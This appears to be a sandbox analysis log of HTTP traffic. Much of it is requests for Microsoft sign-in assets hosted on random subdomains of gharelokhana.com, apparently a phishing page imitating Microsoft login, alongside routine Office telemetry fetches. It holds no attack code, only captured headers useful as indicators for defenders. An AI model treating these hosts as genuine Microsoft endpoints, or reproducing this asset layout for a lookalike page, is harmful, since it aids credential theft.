Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js HTTP/1.1Host: 5ba3c75c-4ac65d39.gharelokhana.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://fdgfhvcfdgfhhjh.gharelokhana.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://fdgfhvcfdgfhhjh.gharelokhana.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedError_Core_M3x8o7EaVDaB8GOhHsrPIA2.js HTTP/1.1Host: 7eb5b5ab-4ac65d39.gharelokhana.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /4ac65d3921a049f68027c1dc86c3c5b1/ HTTP/1.1Host: fdgfhvcfdgfhhjh.gharelokhana.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://fdgfhvcfdgfhhjh.gharelokhana.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="Sec-WebSocket-Key: I1PXVW4Brt53arrgoIK6mg==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js HTTP/1.1Host: 5ba3c75c-4ac65d39.gharelokhana.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://fdgfhvcfdgfhhjh.gharelokhana.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://fdgfhvcfdgfhhjh.gharelokhana.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js HTTP/1.1Host: 5ba3c75c-4ac65d39.gharelokhana.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js HTTP/1.1Host: 5ba3c75c-4ac65d39.gharelokhana.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: 5ba3c75c-4ac65d39.gharelokhana.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://fdgfhvcfdgfhhjh.gharelokhana.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergederror_customizationloader_7e45d168059bd2885d00.js HTTP/1.1Host: 5ba3c75c-4ac65d39.gharelokhana.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://fdgfhvcfdgfhhjh.gharelokhana.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/check_small_48540c930333871c385fcba2c659ccdb.svg HTTP/1.1Host: 5ba3c75c-4ac65d39.gharelokhana.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://fdgfhvcfdgfhhjh.gharelokhana.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/close_790189870c9543725dc3f5a15fb25e46.svg HTTP/1.1Host: 5ba3c75c-4ac65d39.gharelokhana.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://fdgfhvcfdgfhhjh.gharelokhana.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: 5ba3c75c-4ac65d39.gharelokhana.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/check_small_48540c930333871c385fcba2c659ccdb.svg HTTP/1.1Host: 5ba3c75c-4ac65d39.gharelokhana.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/close_790189870c9543725dc3f5a15fb25e46.svg HTTP/1.1Host: 5ba3c75c-4ac65d39.gharelokhana.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
Source: global traffic	HTTP traffic detected: GET /common/handlers/watson HTTP/1.1Host: fdgfhvcfdgfhhjh.gharelokhana.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /4ac65d3921a049f68027c1dc86c3c5b1/ HTTP/1.1Host: fdgfhvcfdgfhhjh.gharelokhana.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://fdgfhvcfdgfhhjh.gharelokhana.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="Sec-WebSocket-Key: Crfb7Z0RVY1vk2E1oBqp3w==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: 5ba3c75c-4ac65d39.gharelokhana.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://fdgfhvcfdgfhhjh.gharelokhana.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergederror_customizationloader_7e45d168059bd2885d00.js HTTP/1.1Host: 5ba3c75c-4ac65d39.gharelokhana.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: 5ba3c75c-4ac65d39.gharelokhana.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://fdgfhvcfdgfhhjh.gharelokhana.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergederror_stringcustomizationhelper_a7fa53f8687b4e38205f.js HTTP/1.1Host: 5ba3c75c-4ac65d39.gharelokhana.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://fdgfhvcfdgfhhjh.gharelokhana.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: 5ba3c75c-4ac65d39.gharelokhana.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: 5ba3c75c-4ac65d39.gharelokhana.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergederror_stringcustomizationhelper_a7fa53f8687b4e38205f.js HTTP/1.1Host: 5ba3c75c-4ac65d39.gharelokhana.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /4ac65d3921a049f68027c1dc86c3c5b1/ HTTP/1.1Host: fdgfhvcfdgfhhjh.gharelokhana.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://fdgfhvcfdgfhhjh.gharelokhana.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="Sec-WebSocket-Key: 8uE8IvCFV0M11lz3/ZF7NQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
